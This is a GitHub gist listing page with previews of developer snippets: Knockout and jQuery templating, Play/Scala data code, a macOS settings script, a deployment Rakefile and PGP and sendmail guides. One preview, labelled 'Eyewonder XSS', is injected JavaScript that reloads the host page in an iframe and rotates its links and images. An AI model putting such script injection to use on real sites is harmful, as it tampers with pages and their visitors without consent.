Skip to content

Instantly share code, notes, and snippets.

View ikester's full-sized avatar

Isaac (Ike) Arias ikester

View GitHub Profile
@mjtko
mjtko / nativeTemplateEngine.js
Created April 26, 2011 16:49
knockout "native" template engine
ko.nativeTemplateEngine = function () {
// monkey patch to convert possible NodeList into Array before iterating
ko.utils._setDomNodeChildren = ko.utils.setDomNodeChildren;
ko.utils.setDomNodeChildren = function (domNode, childNodes) {
var childNodesArray = Array.prototype.slice.call(childNodes);
ko.utils._setDomNodeChildren(domNode, childNodesArray);
};
// adapted from MooTools.Element
//
@joelnet
joelnet / example.html
Created June 3, 2011 18:03
Unobtrusive Knockout support library for jQuery
Choose a ticket class: <select id="tickets"></select>
<p id="ticketOutput"></p>
<script id="ticketTemplate" type="text/x-jquery-tmpl">
{{if chosenTicket}}
You have chosen <b>${ chosenTicket().name }</b>
($${ chosenTicket().price })
<button data-bind="click: resetTicket">Clear</button>
{{/if}}
@kemayo
kemayo / eyewonder.js
Created October 20, 2011 21:20
Eyewonder XSS
document.write('<style type="text/css">body{padding); margin:0}</style>');
document.write('<iframe id="iwonder_hack" src="http://' + location.host + '/" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>');
setTimeout(function(){
var frmdoc = document.getElementsByTagName('iframe')[0].contentWindow.document
,rotation = 0
,links = frmdoc.getElementsByTagName('a')
,images = frmdoc.getElementsByTagName('img')
,props = ['transform', 'WebkitTransform', 'msTransform', 'MozTransform', 'OTransform']
,transform = function(elem, trans) {
for (var i = 0; i < props.length; i++) {
@sundorf
sundorf / Mongo.scala
Created March 14, 2012 19:20
Play 2.0 Utility-Trait for Casbah/MongoDB
package models
import scala.Option.option2Iterable
import org.scalastuff.scalabeans.Preamble.descriptorOf
import org.scalastuff.scalabeans.BeanDescriptor
import com.mongodb.casbah.Imports._
import play.Logger
/**
* Utility trait for MongoDB to mix into entity classes.
@guillaumebort
guillaumebort / 1.sql
Created May 25, 2012 15:17
Play 2.0/Anorm
# --- !Ups
CREATE TABLE users(
email VARCHAR(255) NOT NULL PRIMARY KEY,
name VARCHAR(255)
);
CREATE TABLE subjects(
id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY,
title LONGTEXT NOT NULL,
@wsargent
wsargent / ActionHandler.scala
Created July 7, 2012 21:52
ActionHandler for Remember Me cookie based authentication
/**
* Remember me cookie based authentication using Action Composition in Play 2.0.
*
* Code based on blog post from http://jaspan.com/improved_persistent_login_cookie_best_practice
*
* Create an object or class with this trait, and put it in your Global.onRouteRequest like so:
*
* <pre>
override def onRouteRequest(request: RequestHeader): Option[Handler] = {
super.onRouteRequest(request).map {
@brandonb927
brandonb927 / osx-for-hackers.sh
Last active July 20, 2024 05:10
OSX for Hackers: Yosemite/El Capitan Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned.
#!/bin/sh
###
# SOME COMMANDS WILL NOT WORK ON macOS (Sierra or newer)
# For Sierra or newer, see https://github.com/mathiasbynens/dotfiles/blob/master/.macos
###
# Alot of these configs have been taken from the various places
# on the web, most from here
# https://github.com/mathiasbynens/dotfiles/blob/5b3c8418ed42d93af2e647dc9d122f25cc034871/.osx
@albrow
albrow / Rakefile
Last active December 10, 2015 05:08
An excerpt from the Rakefile I use to deploy my blog. http://blog.alexbrowne.info
# ...
desc "Deploy website to s3/cloudfront via aws-sdk"
task :s3_cloudfront => [:generate, :minify, :gzip, :compress_images] do
puts "=================================================="
puts " Deploying to Amazon S3 & CloudFront"
puts "=================================================="
# setup the aws_deploy_tools object
config = YAML::load( File.open("_config.yml"))
@grugq
grugq / gist:03167bed45e774551155
Last active April 6, 2024 10:12
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

@kany
kany / sendmail_setup.md
Last active June 3, 2024 20:13
Setup SENDMAIL on Mac OSX Yosemite